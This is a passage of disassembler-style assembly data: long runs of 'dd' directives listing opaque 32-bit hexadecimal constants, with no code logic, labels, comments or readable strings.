		dd 56ADC8CBh, 1C1005Ah,	819A424Dh, 5EA23EAh, 97FD0E2Ch
		dd 0BCB6800Ch, 90FA3C79h, 38251198h, 0FF12C094h, 9900F453h
		dd 0D8E2052h, 1420E11Fh, 59E25Dh, 1507DC14h, 2F80B8Ah
		dd 0AFA3FF00h, 0A6718178h, 1F37FF9h, 0D2D61561h, 0D4EA60D1h
		dd 6A007320h, 0F611AECCh, 8B70C70h, 0FA1D48DCh,	6D0F801Dh
		dd 0DFC6C30Bh, 67DA904Fh, 78A79BDh, 0F0C81564h,	85FA10F8h
		dd 1A00BA4Eh, 5DCCB486h, 1C9DFD48h, 6674D37Ch, 0DAF200F1h
		dd 3CAC0487h, 9652E50Eh, 0B663E36Eh, 9006F009h,	0F67B00D1h
		dd 201429B4h, 0BA0049C3h, 9428F28h, 0A0612697h,	4CD3D2h
		dd 0B6ED81D2h, 6E56CD1Ch, 81595738h, 0ECC94ECCh, 0B4E465B3h
		dd 0DFCF0FB9h, 79406732h, 0A5B5206Ch, 0C400C076h, 0F281A066h
		dd 0B83A7548h, 13E3EC04h, 14251B4h, 88D409B8h, 0CDB04001h
		dd 4CF4A9ACh, 0F71A1700h, 6F92C9E4h, 483F0F93h,	49AFE171h
		dd 516D760h, 0FF7E61A3h, 90E6BA00h, 0DE9C3A23h,	44670C0h
		dd 0F82CAABDh, 6A50426Dh, 0A0EA0005h, 1D09C902h, 0D75A8EDFh
		dd 0DB915600h, 0EDB03E6Dh, 1CB5E909h, 813C8103h, 0F4E16427h
		dd 5307CCh, 266318ADh, 0F975A2D3h, 0CF653F17h, 0B5733B00h
		dd 37CB6F6h, 20972EDAh,	61A8FDD0h, 0EEE1369h, 320075EAh
		dd 373F48A3h, 3EBC787Eh, 0E181015Bh, 24C336Fh, 2BC0FBFDh
		dd 2200302Ah, 1AA64834h, 84C74Dh, 0E16C02EEh, 1EAE75DAh
		dd 2E28CB00h, 0F26BBAA6h, 0BDE8307Ch, 0D1F037ACh, 68A29100h
		dd 802803F9h, 4EDF0ED9h, 8DCEFF25h, 0FADABDE7h,	5180BA88h
		dd 0CFF2F313h, 0C9750701h, 0B1F1951Eh, 81075466h, 0C58087EBh
		dd 5C8DC475h, 2301BB7Ah, 0C7BB1319h, 411BE876h,	3CD4C238h
		dd 52F08F15h, 9A0016A9h, 0C9E6C65Fh, 0A8635C5Eh, 2D35E000h
		dd 8087682Bh, 0AA643800h, 57E46DC2h, 70679D4h, 0DDB2183Eh
		dd 0B5F323C7h, 3AA032CBh, 0F00077ABh, 5DD14E6Eh, 2455B8h
		dd 67038DF2h, 38C84CCFh, 0AB97050Bh, 8EF98080h,	58450D55h
		dd 7400C8D7h, 0BECDBF0Fh, 8C90497Fh, 84CA8907h,	6C7339F1h
		dd 4F79E86Ah, 1C740037h, 0CD81A858h, 0DF3C1EC5h, 1D4300FCh
		dd 0EB9261F0h, 3FBC1274h, 38620042h, 48184C5Ch,	2D931F1Eh
		dd 4A349701h, 68606055h, 5E7B0081h, 13B44C67h, 3E1DF2D5h
		dd 0D9013064h, 2E9D274Dh, 0B8E4070h, 8846DF0Fh,	59693C80h
		dd 0DE062263h, 6C1197CCh, 78D40019h, 0AC701A46h, 6B32840Dh
		dd 0E02069C8h, 0D20498h, 66535CB1h, 27A67E6Eh, 9D3CC400h
		dd 3E2F28CEh, 3CC99061h, 6F81716Bh, 0B48C9EADh,	784880D6h
		dd 0EE2B4150h, 23390043h, 0A1DBD799h, 0F148CB7Dh, 26C60088h
		dd 3A76F336h, 154B0065h, 64054530h, 8E7456DBh, 0CD045201h
		dd 0E8A15FF8h, 0DED460h, 0B8446889h, 0C16C50B0h, 0A0B98E01h
		dd 207F765Eh, 0FD30D240h, 0A9F00018h, 139D4EACh, 9714C8Fh
		dd 56728312h, 802A6400h, 98EDF363h, 3CAA079Fh, 202DB4A9h
		dd 0AE9C42E4h, 13C96001h, 36CCCFF8h, 154F2C8h, 0D57051C5h
		dd 0DC8A1B98h, 62009331h, 7D593385h, 8F701h, 0B25EAD04h
		dd 0B1179D64h, 91408A0Eh, 73A54005h, 0F7F1F6h, 88B4D54Bh
		dd 0A090316Ah, 8CA7B203h, 0A0EFE16Fh, 303BE0h, 2871D609h
		dd 0BA105B99h, 8E12B202h, 6039A82Bh, 149808BDh,	8CDC8C24h
		dd 8DDBBF00h, 0DF42BBC5h, 67BC0D00h, 0CCEBCEC4h, 337FF1h
		dd 4AE80104h, 5B87F97Eh, 7FDF5700h, 0CBF8483Bh,	0A1E61CB8h
		dd 0C67800C3h, 98857496h, 994D2900h, 66AE1B7Dh,	0D8D30764h
		dd 700CF409h, 0C1A005BFh, 53EC174Ah, 7B4A2900h,	0F8A6F16Dh
		dd 0B4A055E4h, 0A703C416h, 0B0EF91B7h, 80DD806Eh, 20F000DEh
		dd 0F4625311h, 0A3090757h, 8AA1F2h, 3DD923E9h, 5C0B03ACh
		dd 0F5803FC7h, 46B3DE98h, 2914D14h, 70680DB4h, 9830F4AAh
		dd 337B0077h, 997DFC4Eh, 0FDFAC80Dh, 0B023D600h, 0A054071Bh
		dd 0A4220E92h, 0F7207C82h, 843C0332h, 0FCCBD703h, 0C06EE299h
		dd 182F575Eh, 962D6B77h, 0C4001BC2h, 0B65344D6h, 15DCC5h
		dd 0F847AD4h, 3ECDBE98h, 8FCEF412h, 6388BC0Eh, 0F85FFDBBh
		dd 28B10AABh, 0BD9A53B4h, 0C8B8E670h, 8E3F5A90h, 95E88061h
		dd 0E0FC78EAh, 0CB1F0027h, 6631ABBEh, 5B002437h, 9AC0F82Bh
		dd 1FFCBA3Fh, 803C67D1h, 0A6E6D770h, 0B1019719h, 5C7FA00Dh
		dd 0B0C0B725h, 0A7AD3F6Ah, 6831E83h, 42A8BDC2h,	6C012FA9h
		dd 4E4F63BAh, 0E041D354h, 0B88082AEh, 0FC5B77A8h, 78C034BEh
		dd 0C46B59A5h, 0BCC503C3h, 0C0DBED42h, 0B0CF87Dh, 907F03E0h
		dd 6F5F28D6h, 0F514AF4h, 6AA7404Ch, 9FE660A3h, 0BE7D71B9h
		dd 8C46A11Eh, 8901D893h, 0E36331ADh, 889860h, 7E4C2187h
		dd 2F7DF450h, 3E29DA0Ah, 0F300B033h, 66A884F0h,	7CCD07C4h
		dd 0B0220AEDh, 0C52B71F7h, 335B9E04h, 28C1092Ah, 5EE0D97Dh
		dd 7AEC0373h, 62A036D5h, 91D90FA5h, 0AF4658C2h,	0BE00B059h
		dd 5B95A6A8h, 0AD960564h
		dd 1DA5D6Fh, 0FED9B2EDh, 20BCBFh, 695F8748h, 6185E9h, 6AC62831h
		dd 51681CBDh, 0F590BA00h, 0A1B2D34h, 3632135Dh,	0CB0006Ch
		dd 2BF0859Eh, 1FBA3B3Fh, 821C1854h, 24FDDE00h, 3C7A9703h
		dd 8100117Dh, 7263FF69h, 160087A4h, 478EE4EDh, 26905701h
		dd 0BCC5FCFh, 0A60E7378h, 0FF0A2E00h, 0EE0FB076h, 0C0164B88h
		dd 2A9BCC04h, 18070659h, 14292C41h, 5396C305h, 7CD04797h
		dd 49406Fh, 70C418CFh, 0A36B07C1h, 80F90639h, 0DE57D779h
		dd 4E04048h, 2B89B3Fh, 0A0A2C49Ch, 0D60EAEA4h, 65B34F3Dh
		dd 0C9C4F5BDh, 38D281C5h, 0D526602Ah, 1CB05Dh, 0B9C79233h
		dd 0A90F1916h, 5F14E300h, 9148F1ABh, 0C0BB7AFCh, 31F962A0h
		dd 3B00A89Fh, 0CA6D5170h, 0EF1D69D8h, 7B03020h,	13B1443Ah
		dd 0AF7B0037h, 640072E3h, 8386FD12h, 24FEBE7Dh,	0EBF84Ah
		dd 0A7A11E88h, 8902A6A9h, 4191A827h, 1610C84Fh,	73FF0028h
		dd 0F2818BCBh, 6000D76Dh, 0CC0E5FB0h, 0BAC503h,	9045B933h
		dd 670DC62Bh, 12693E07h, 48E052E7h, 1BFD597h, 7562A253h
		dd 0CC18F058h, 7B1EAD2Ah, 0A4003889h, 2D3B84Ch,	0CC4B49C5h
		dd 0E742900h, 0DF8F9A9Bh, 0D9283E19h, 4A60ED44h, 0DC5E0139h
		dd 0AE19D3E6h, 64FADC7Ch, 760FABB0h, 0A02DE2D0h, 0BC497881h
		dd 7B6A3D05h, 0CE5C3180h, 56518CCBh, 140E4376h,	4420ACF9h
		dd 4CB9391h, 0EABCC306h, 77091001h, 1A0225h, 0ED8CA9A2h
		dd 0C930FD1h, 3F4053D5h, 22EFD808h, 0A40D8600h,	17C7A264h
		dd 955D07DCh, 9032CD56h, 0D33EC620h, 0B948C500h, 9E93D64Ah
		dd 54A700EAh, 0C1CC5E83h, 0C200BE0Eh, 3A3858D0h, 201489h
		dd 0FDE6E930h, 90BB77Eh, 5274A500h, 242F161h, 8B6E005Fh
		dd 0AB47E575h, 8460288Dh, 80F5A721h, 8A0E071Ch,	60AF4532h
		dd 0C6258DC5h, 39671307h, 60E03BE6h, 1E840624h,	2AE4F62h
		dd 0F36AF7D6h, 80C170E8h, 771F891Eh, 40B5124Eh,	4C2E81EFh
		dd 0D693002Ah, 443E7D31h, 30003892h, 1185F2BEh,	5F0C1Ah
		dd 0C859D758h, 4EB46FC1h, 9A51B600h, 35C7A830h,	20FB0097h
		dd 0F3445B08h, 393AC069h, 75F71CF6h, 4CC0BE53h,	492CDF03h
		dd 7A0F0C26h, 82CF3C4Ch, 0D4A2065Dh, 5C30A841h,	0E1CC1014h
		dd 2000835Fh, 5D3538B1h, 320FF63h, 1CB74D83h, 3C396DFh
		dd 7BC55001h, 0BC7AF66Ch, 472D3840h, 0D1330C28h, 6F28F3CBh
		dd 51214E06h, 783198BDh, 0EF820CC5h, 0F948FC35h, 6F30A2EEh
		dd 0F8BE787Ah, 0A4B3E854h, 9097002Ch, 9B00B9Dh,	6C06621Ah
		dd 91276B8Bh, 9B0200A0h, 0AAE3146Ah, 0AD00BAD3h, 95B78EC0h
		dd 3CCD7DAh, 0FA769FB1h, 0DDF8E8C7h, 7A0058C4h,	276A7226h
		dd 90F24D98h, 39830728h, 307E01FBh, 0EE0AF3B5h,	0E038B6E0h
		dd 6C2572DAh, 1D9958DCh, 0E9717CEh, 58809ECAh, 85940D3Ch
		dd 3DC48C00h, 0E2291BDDh, 0C6100173h, 46F5867Eh, 7A57CCEBh
		dd 0A137F300h, 8E5BA8DEh, 13D185Dh, 0C2EBE923h,	0FDF72203h
		dd 0E8CA213Eh, 987E9502h, 3CBD7D01h, 4D00C5ABh,	134A8F7Ch
		dd 0E003A860h, 0BE8A49D7h, 2FA1D0E4h, 35678A5h,	31132036h
		dd 6EF85EE3h, 0AE00F260h, 2A5D9F8Fh, 0E4F51CAh,	0D0EAF0FDh
		dd 0B7EC27A0h, 2D00983Bh, 501F34A7h, 3547E7h, 768741F2h
		dd 1E602B61h, 9063AC03h, 0C71A4528h, 1FBBC420h,	0BEB6076Bh
		dd 4132E321h, 0C8C8931Ch, 0BA009643h, 696A7D18h, 89B5F2h
		dd 0CA8F5DACh, 37FE2747h, 52DB6600h, 0FD201E8Ah, 9F2807B1h
		dd 60D9065Ah, 38D6C94Ah, 8FCA3E03h, 0CB187D35h,	29E7B05Fh
		dd 2CA3034Ch, 5E4E8E0h,	40F1E9A9h, 9336B3DCh, 38CCB409h
		dd 0B0ECA87Ah, 730C3E07h, 7780E270h, 0D18C9298h, 97F80420h
		dd 100E1A30h, 621A2h, 0EE2215B6h, 80F950E0h, 0C06A7025h
		dd 67720E0Dh, 828280Ah,	1D84C290h, 73924468h, 480DBD44h
		dd 55644296h, 28047625h, 0AA48FFF1h, 2456B242h,	577215Ah
		dd 0E2107E12h, 0DE694014h, 428414A1h, 0E3135228h, 0A22921C2h
		dd 0B3A13A04h, 58426608h, 218624CDh, 5190F482h,	14BD8A3Ah
		dd 87842A10h, 804E48F7h, 77EAB94h, 0C00F8A4h, 5ED2EE8Dh
		dd 0BF6FC69h, 794C58EDh, 361C0CFEh, 0A8F1BF40h,	74AB0F2h
		dd 5BDA1574h, 0AB45B0B2h, 0C907093Dh, 105AD4Bh,	8B429B50h
		dd 73A30707h, 3018D529h, 0D53D0C1h, 0AC4BEE3Fh,	9C97ECEFh
		dd 67943300h, 37F6A19h,	0D8BD0165h, 0CE8053D4h,	76000F2Ah
		dd 893BBA39h, 0F511F75h, 246460A7h, 6870C7C0h, 0C616152Bh
		dd 104044BBh, 77B85B2h,	9AB618EBh, 40D84826h, 0EA008171h
		dd 0DA77AE44h, 9E541h, 4F35DFA6h, 0FA25FC2Eh, 3E6F5300h
		dd 75F11673h, 0FD109FBh, 944040CCh, 2818F71Dh, 0CD28EB9Bh
		dd 91D93061h, 78AC2460h, 7C1D9D2Eh, 0CA1AB700h,	0F7AA33h
		dd 0B1AE967Dh, 0FC381568h, 4B634700h, 0E3821CA0h, 901900AFh
		dd 3172628Bh, 8A761B0Eh, 69CADF00h, 9FC2F8FBh, 89E0041Dh
		dd 8071CD77h, 0E10964D4h, 2DC6B207h, 8939F884h,	5710080h
		dd 0E2CF1A10h, 68420A4Ah, 0C7D42F9Dh, 0A7E0606Eh, 1800AAF6h
		dd 0A4609592h, 60703F1Fh, 0DD87C849h, 0A00619Dh, 1320434h
		dd 7307CDh, 431BFDDFh, 0AD381991h, 0C9A9B301h, 930C2937h
		dd 561CC840h, 0A77E000Bh, 0BC9FDCE4h, 0B30006C7h, 3F5A8EB9h
		dd 5FEDD2h, 0A67FE2AEh,	0C130A7EEh, 8D519700h, 0E549C6DCh
		dd 3EC7011Ch, 871E0FF2h, 0A7E9E083h, 9B367D1Fh,	0F0FDD4h
		dd 255581ECh, 0FE23CAh,	0F0D1788Ah, 0A08562C1h,	0C80E12ECh
		dd 413B7F8Bh, 635B21E1h, 4E7DF0h, 0FA82746Fh, 0E5DD4A84h
		dd 20000F71h, 2BAB68CAh, 13741A71h, 66F881h, 0F0ED7513h
		dd 4900E26Fh, 7862C090h, 0EC8FB9Bh, 0A9E11D01h,	6A2272A0h
		dd 790E35D8h, 0E4752Eh,	61134F95h, 0A1B7068Ch, 0C497CB22h
		dd 88F8EB12h, 0DBD24C40h, 1C172BCh, 0E6AA575Eh,	40847102h
		dd 2D9C82A4h, 39FD350Fh, 0AFC9A0DBh, 0F3E8D73h,	6F6A2E71h
		dd 2124C6C0h, 0D200D8A1h, 9731BF0Fh, 118B0Ah, 35018374h
		dd 0B93914FBh, 9A1EA49Ah, 0F8C09869h, 0C8EDAA99h, 0D68801C3h
		dd 0A2F7DDC9h, 9502031h, 0F800027Eh, 5351CF81h,	77370Ah
		dd 0AD7AD4D3h, 6B127FD5h, 2700E378h, 99304B95h,	195DE0h
		dd 0ED1EBAEBh, 9F68B257h, 41E7D400h, 0F3F84B7Ch, 0F63D00C9h
		dd 51F58821h, 0B6007139h, 0B5F956CDh, 58334Ch, 0B050D2E2h
		dd 826E97DAh, 51DDFC00h, 65C95B73h, 0EA340036h,	719F5F8Ah
		dd 20013153h, 119BB22h,	0E8D0CFA9h, 189A0FC1h, 0C74059E1h
		dd 7603562Eh, 4D022000h, 0BEBD9F6Fh, 0AF380053h, 9574809Ah
		dd 782E2713h, 7512A8DFh, 0E3BB0C20h, 0F93700E5h, 52D20A1h
		dd 9D05F090h, 683F344Dh, 0B482180h, 0D4890FFFh,	0AAA1F4BFh
		dd 70A7B1B9h, 0D50190F4h, 5041D64Bh, 5C20CE05h,	80049B34h
		dd 65DCD1ACh, 8C042479h, 9D3D3E46h, 1DDBA4F0h, 0CF4F3B2Ah
		dd 0E616F4Ah, 0C0B1B892h, 0BC00EDE7h, 0BD2C975Eh, 9C2A386h
		dd 0EE2BFA3Ah, 691B4002h, 0E478B780h, 8907B8EBh, 0F5FAC5D6h
		dd 45F210C0h, 4D0F009Fh, 4B780E51h, 0C458F191h,	0A8E43C7Eh
		dd 1400D4FFh, 1C438135h, 0F9D5D48h, 0C8A81B25h,	107EE660h
		dd 9BE803DDh, 6121530Fh, 6FF8202Eh, 263C29D4h, 50799h
		dd 6C88F61Ah, 232AD14Ah, 1C01E890h, 338A7487h, 0BDF18E4Ch
		dd 18935BD8h, 28EA789Dh, 1600E5E6h, 25FAB4CFh, 28C526h
		dd 9711E871h
		dd 6E24A69h, 0C79DFB00h, 6BC0DAD6h, 0B841h, 8A17F3F9h
		dd 9F6C316Dh, 965A361Fh, 92A3F480h, 0B0A491h, 0E75EC99Dh
		dd 0AA509BCAh, 7F755400h, 7131E8B6h, 14B50E04h,	55C117A1h
		dd 0F201972Ch, 0C50764C0h, 0CC06EF28h, 0F327B00h, 0FA2B8A33h
		dd 0BB860520h, 5F69230Dh, 4C400C0h, 6C9DDC6Dh, 0FF4B3800h
		dd 0FA6864B0h, 0BB8F00FCh, 652D37DDh, 75007993h, 9F3A7AE7h
		dd 0A8F356h, 0FAC45BD7h, 0A90A7608h, 0D3AE11C0h, 0E2BA9E6Fh
		dd 33271288h, 2400C08Ch, 0A90CD51Bh, 80EF7A90h,	0ADDB02BEh
		dd 451C650Dh, 0C3261460h, 0F1437E05h, 0AC30C893h, 0D2D9F5h
		dd 8CCE03E0h, 0A6C9A115h, 27870507h, 0CBE20F69h, 0C1084035h
		dd 835502CCh, 1E016ABAh, 3D0B5060h, 0D6FBA500h,	20AB3687h
		dd 0EA5F0996h, 0D080F795h, 0CDCBDF56h, 6B284B7Ch, 5D00A406h
		dd 0E64D6116h, 5044B1h,	8C088793h, 0DF3B5CD4h, 0DDCCB801h
		dd 31645BF9h, 17AD70h, 1505E4A3h, 656208B2h, 18C34D0Fh
		dd 0CEDD4078h, 1DC46E68h, 1AFB76D4h, 3160119Bh,	8B00E1FFh
		dd 0A90F9084h, 1E3ADFA4h, 0C1EA86ADh, 0A835B851h, 33E020B0h
		dd 1AC8E601h, 117A2EC2h, 0D9820h, 0D16FDD0Ah, 0B3F315B9h
		dd 0A96A0B00h, 1FE707E2h, 0E54801DCh, 1584A29h,	0B3402055h
		dd 0AC33D700h, 76DF2CF1h, 8156001Ah, 0D1526034h, 5D0073E4h
		dd 8AA79E08h, 9751012h,	7634B594h, 0C4307100h, 5F006BF6h
		dd 0D295B1D7h, 0E07BC1D6h, 86C702C9h, 31A69E2Fh, 69A324C0h
		dd 0FC99C004h, 30C044EEh, 20BEC5h, 6268C13Eh, 765D17FAh
		dd 680958h, 0EE55318Ch,	48A234h, 0C5EC7D33h, 0F6A5766Eh
		dd 3F706200h, 7CBAD10Ch, 3E4A7D66h, 270AB37Eh, 0A88644h
		dd 3C0CE35Eh, 0A702D322h, 0A83A2F32h, 0D0F480F6h, 2F91112h
		dd 0F7DAD77Fh, 6868B564h, 9C0053E1h, 23278FF6h,	0B1ED33A0h
		dd 801CC0h, 0D6DE4082h,	0B49A16D8h, 9FB41C13h, 26B81218h
		dd 4DA50288h, 4F6C9A24h, 0E45F8460h, 8BA6F21Dh,	0EAB75700h
		dd 724BED4h, 11942A92h,	0AD0C7299h, 0CB40B062h,	0C0009F0Eh
		dd 123C485Fh, 0D9E673h,	0EE83AE6Ah, 0D0CEA963h,	0E65BF00h
		dd 7C6B5B9Eh, 0F4F10310h, 0D297F78Fh, 365DE4D0h, 0D700BCFAh
		dd 6E358425h, 9184AEAh,	0FA7563F2h, 20B4C400h, 320E56D5h
		dd 78922C64h, 155447B1h, 0D40E9995h, 81586500h,	199CC8DEh
		dd 808FDC01h, 23136E57h, 2DCC30h, 68936402h, 9ABB5030h
		dd 7D6AEF00h, 32783AB6h, 4B2100F2h, 4E158BECh, 63F643ADh
		dd 0ED389000h, 0FE49B1DCh, 34CE0F04h, 8FE091DDh, 87AEA739h
		dd 56E8C30Ch, 1942114h,	0E069710h, 0D8B31D29h, 5BFE8450h
		dd 748D9B1Eh, 4FFF7C2h,	13460C3h, 318E0096h, 563850EEh
		dd 7C03769Bh, 0ED499964h, 0C2689877h, 1303010Bh, 6367CC36h
		dd 0F833C9F3h, 0CD0029F0h, 0D4C59A0Dh, 2CC4691Dh, 0AACC7Ah
		dd 21703FCEh, 5E0EBEADh, 4037CBD0h, 4D759DB6h, 0F09809h
		dd 0C9B22C02h, 0C1730B04h, 0B42190C2h, 98786899h, 0B6FA0B07h
		dd 0AC20E912h, 9D8DF8A3h, 26F121C0h, 0FEC1EA3Eh, 2C90B9h
		dd 694840E1h, 4F4E1BF0h, 58AA3C02h, 40817A96h, 0EC8CBD0h
		dd 17BBC618h, 0D57DEE81h, 0D3842059h, 0BADDE112h, 21BF414h
		dd 9B99720Fh, 1D8C4069h, 15E410D6h, 961C00F4h, 32F27585h
		dd 0E85A006Eh, 0AB506DA0h, 0E0071055h, 48BBD882h, 0F051EFA0h
		dd 0B37CD0h, 64FF7F0Ch,	0BA956352h, 9C1D13FEh, 9808F1A0h
		dd 0A4AA008Ah, 6B6CF951h, 189B3F00h, 2A0A847Ch,	0CB7BC0h
		dd 7F8819FAh, 4AF8152Bh, 9C6A9300h, 0BB46CD4Eh,	572128C6h
		dd 8B1CE6A8h, 9E391E8h,	8BB6E500h, 0F03F45E8h, 47430079h
		dd 146FA578h, 0CC4DA771h, 88FD001Ch, 0C27F4AA0h, 11F91265h
		dd 1C9C0730h, 3A23F046h, 2930A10Bh, 2AAA3808h, 24C67CEFh
		dd 4778h, 56709F6Ah, 0A712DE53h, 0D713E920h, 5E81C42h
		dd 4F394021h, 5CE60012h, 3EF5BCDDh, 8402AC79h, 0AB5F342Eh
		dd 0A760F7B9h, 9C015737h, 686B2309h, 8434DE86h,	0F30802C9h
		dd 3134C85Ch, 8D904E00h, 429CA0F8h, 0AF591CC5h,	184D9FC6h
		dd 31389A61h, 0CF086500h, 0F805CE3Ah, 2BF2002Dh, 0F686370Fh
		dd 3000A1BAh, 805AE60Eh, 5850A9F9h, 0A840AC0Bh,	146420DBh
		dd 0D7905114h, 0D80526A7h, 7E9EEC01h, 1187D0DBh, 0B2258781h
		dd 0C689CD2h, 0EBF6E742h, 5B0033F6h, 3FA74BB8h,	16D3859Eh
		dd 1C1FC2D9h, 199100A0h, 0A7B4A518h, 4FBE3404h,	0E080F502h
		dd 0D8380Ch, 748437B2h,	64050D17h, 3E1CD40h, 0CE116936h
		dd 7BB02D70h, 0C70BDD15h, 80CDE979h, 0EBA888DCh, 16F302A4h
		dd 0D543476Ch, 0CA57E740h, 0ED2D4E00h, 0FDB4E57Bh, 5A640C89h
		dd 1FB8172Ch, 0E0C19024h, 757BF600h, 0AE56A6h, 6092984Dh
		dd 971CE3AAh, 0FB63E100h, 0A5A2D536h, 0EC94002Fh, 3DA6BCFCh
		dd 0DA0099A4h, 0B03C354Eh, 0FE6B836h, 8E05572h,	0D8D56A05h
		dd 580F31BCh, 0E05A47F9h, 0E0CF3B57h, 77161C09h, 698E00A3h
		dd 9617C26Fh, 110DF530h, 1AE4BA6h, 0D19352A9h, 2C34B40Fh
		dd 22B60088h, 627B7E71h, 0A4F6EAh, 9A04C0B5h, 88C9F956h
		dd 2BCA5107h, 61FE41DAh, 57AAB1Bh, 4D8E870h, 252373C9h
		dd 0F17C108h, 293C3CADh, 0A4848816h, 8AC00ECCh,	37F5C0h
		dd 3B1F94E0h, 9D6BF43Dh, 0D4610B00h, 84C323A6h,	0DB71008Ah
		dd 0ABE827F8h, 0C0C0C275h, 38879FFBh, 767C3E1Eh, 7DCE0D83h
		dd 0E4F04D70h, 9E26F853h, 4B0033ACh, 8088D5D2h,	0A6760063h
		dd 0E024E14Dh, 912829A9h, 7800A8FAh, 0E7F2F9EAh, 2FA27Eh
		dd 648CCD2Ch, 743C6808h, 9C27B93Dh, 8580C81Bh, 6CC6DCD4h
		dd 5DAE2B8h, 0D1AEF638h, 0F8C4000Eh, 4B78C64h, 2B02348h
		dd 4B7DE0BEh, 0EEB0E051h, 26C30007h, 4F8127C4h,	0F0B03F11h
		dd 89540603h, 0F8AF71F7h, 9C40E2h, 7012DE73h, 4C59F079h
		dd 92903D01h, 7C7C64Ah,	2F00AC28h, 0AEA0FC6Dh, 940073F3h
		dd 0FEE93405h, 2C140D72h, 0B82C99h, 8428EDE4h, 0E00BF3F5h
		dd 0C145B886h, 4828D084h, 5CA185h, 47DA7F0h, 0FC009DF4h
		dd 7BB006DEh, 1866341Ah, 100767AEh, 91184C0Fh, 0C021E2A3h
		dd 4C80F3A6h, 18938D76h, 56014895h, 0E00E4785h,	0A470C142h
		dd 570C2419h, 8EF20438h, 0B58B006Fh, 774A3D97h,	0FA110759h
		dd 0BB656008h, 8E1E5C00h, 572D5283h, 3AA000E8h,	0BA741CFh
		dd 71650D0Fh, 803B6020h, 0B2001534h, 8F59645Bh,	5018DC3Fh
		dd 35DA1AEh, 9169851Ch,	9CF0BFB5h, 51003BDEh, 0DFF4A6C8h
		dd 0C49DC5h, 29A09226h,	4BD47E16h, 84092409h, 57600077h
		dd 1D693h, 0A47B90ACh, 5B36DAB6h, 0C52D041Eh, 5A001492h
		dd 3E4E8B33h, 0CF0E0037h, 7C22A8DAh, 0BAFAD21Dh, 831687B0h
		dd 0E1066165h, 0F2D03C5Dh, 7038F7A9h, 0C2F7B00h, 0F6378213h
		dd 5F7D6F00h, 0C95425AAh, 0C61B0006h, 2CB93E45h, 405CE553h
		dd 9FFE11B8h, 42E49726h, 54C08F10h, 0EA1E9BC8h,	88C0CC6Dh
		dd 0BAF47D9Ah, 0F691748Ch, 0FC1900BCh, 204DABC4h, 7200A9E6h
		dd 47B5696h, 32CF70Eh, 1FEAC9FAh, 11B67AC6h, 87833E3Ch
		dd 0B1966AEEh, 5810E3A2h, 4D3400BCh, 0D5A46D51h, 4E095564h
		dd 0A0AF1499h, 0ACD4F51Ch, 0C1F10E62h, 5EA0A9DDh, 0C254B6C5h
		dd 0CE071400h, 4144380Fh, 22B40006h, 0FE655A1Ah, 7600311Fh
		dd 400EC593h, 5E986C8Fh, 30A40B32h, 9600A462h, 0F7548DD9h
		dd 706C2505h, 70C036E4h
		dd 70FBBE4Dh, 0A8A0068h, 79089E9Ah, 4803D9ABh, 0AF5DE45Ah
		dd 98BAE87Eh, 0A4DD0381h, 0FEF840Ch, 80B63939h,	0E06127E5h
		dd 0FE375F5h, 0CC7DF7DAh, 0D740B2CEh, 9F294314h, 48D29603h
		dd 0A7FAAE5Dh, 0A1C08974h, 2472522Dh, 44C9FEh, 2981BC88h
		dd 68B6934Fh, 92F19700h, 236EA90h, 991EF9A9h, 0BCC115AFh
		dd 35AC43C2h, 0AC4BAA0h, 1AA3FB03h, 88603AF7h, 5146EDh
		dd 0F48C5D30h, 52D7287Eh, 0B8CE0800h, 4B7F9449h, 796A050Dh
		dd 0C6A13D71h, 1516FEB4h, 54001880h, 0AD7525DBh, 0AE0400BCh
		dd 0B5B3C734h, 5105A030h, 6627389h, 98C46BC0h, 471900A5h
		dd 0FB07CA55h, 53008C8Ah, 0E4A779C8h, 0E9E35F5h, 0B7A2285Dh
		dd 17AF1302h, 0DD248864h, 880107Dh, 0D33C104Ch,	0F9B901C5h
		dd 23873BB3h, 0D7B9D7F4h, 71882085h, 0DBAE7A0Ch, 0B0A511C1h
		dd 39F100EBh, 5E6E2AE7h, 880F4E64h, 7BB650h, 1AA8C60Fh
		dd 58D49062h, 0DC12B093h, 23D0207h, 37C18833h, 879830DFh
		dd 0B8EB1602h, 60805250h, 0DD301Ch, 3C17419h, 54CA2458h
		dd 0BA837500h, 254DE6FBh, 559B013Ah, 0D9214F98h, 7D2419Dh
		dd 39CCF069h, 0C83E600Fh, 73CE60E8h, 0BBA6AAh, 0BE2D389Bh
		dd 4C9F3F53h, 0AD4D6C00h, 698AC5D2h, 332E0504h,	0A8B1E984h
		dd 0EC1C0198h, 41ADAC3Dh, 7E1030h, 0C0FC90Dh, 5DBFE552h
		dd 0FAF09700h, 0DB9E27CCh, 0B9A40002h, 56257CFh, 8B00ECFDh
		dd 42B36C4Fh, 26DCBD6Dh, 584E3BEh, 0B00AC8FAh, 40C08F70h
		dd 5CC69529h, 0D7BF00D8h, 8BBA7754h, 0B504AA37h, 365A5780h
		dd 246CA8E0h, 34181Dh, 0D15C4AE3h, 0E80E847Fh, 16E7AF42h
		dd 87668500h, 0F250354Dh, 0A0C01272h, 0D8CC0409h, 2268D806h
		dd 0EB866600h, 3B685F5Ah, 0BAC903F3h, 6A4AB74Fh, 28D7112Eh
		dd 0D4E06603h, 7B4800B5h, 0BBCE2EF9h, 0EF00301Eh, 0CB048C8Fh
		dd 1BC06Dh, 8E50AAF3h, 9EED7E87h, 0F45E8600h, 20C615BCh
		dd 5F3CBA38h, 6678414Bh, 0D48E9CC2h, 0F17DF9Fh,	5200AAF5h
		dd 8C055D99h, 0A3C90029h, 4AEE2A86h, 640F609Bh,	0ECF1A86Eh
		dd 49114Fh, 229085A2h, 0F0725B38h, 7F4D4300h, 17FA3C1Dh
		dd 82EB00CCh, 1634369Ch, 8E090E98h, 0A5637B6Ch,	64B48758h
		dd 0B078E3F6h, 1A0B744Dh, 9E8EE25Fh, 0F1DECF60h, 4E019821h
		dd 0B5D24F6Ch, 0EEDCA268h, 0FC7B5AC1h, 491F1941h, 57F89D40h
		dd 48D82706h, 0BD9A6C00h, 0BEF034E0h, 5D005098h, 7D9CE2ABh
		dd 76FC3ADh, 0E7792B65h, 69F9B129h, 2C04E868h, 1BC79100h
		dd 13982AFEh, 5DCF8D1h,	0F664610Ah, 93A0F438h, 743A4800h
		dd 1F6C9BA4h, 97490499h, 802B90E3h, 0C7AADF4h, 0EA629130h
		dd 2F14F7Dh, 0D05B899h,	505A4888h, 0B51F8007h, 0B070F323h
		dd 0CCC7ECh, 0E9A18255h, 868994Fh, 7E7420F2h, 58144Ch
		dd 0A90DADB3h, 8FB2B0h,	15365C1Dh, 228EF72Bh, 8080693Ah
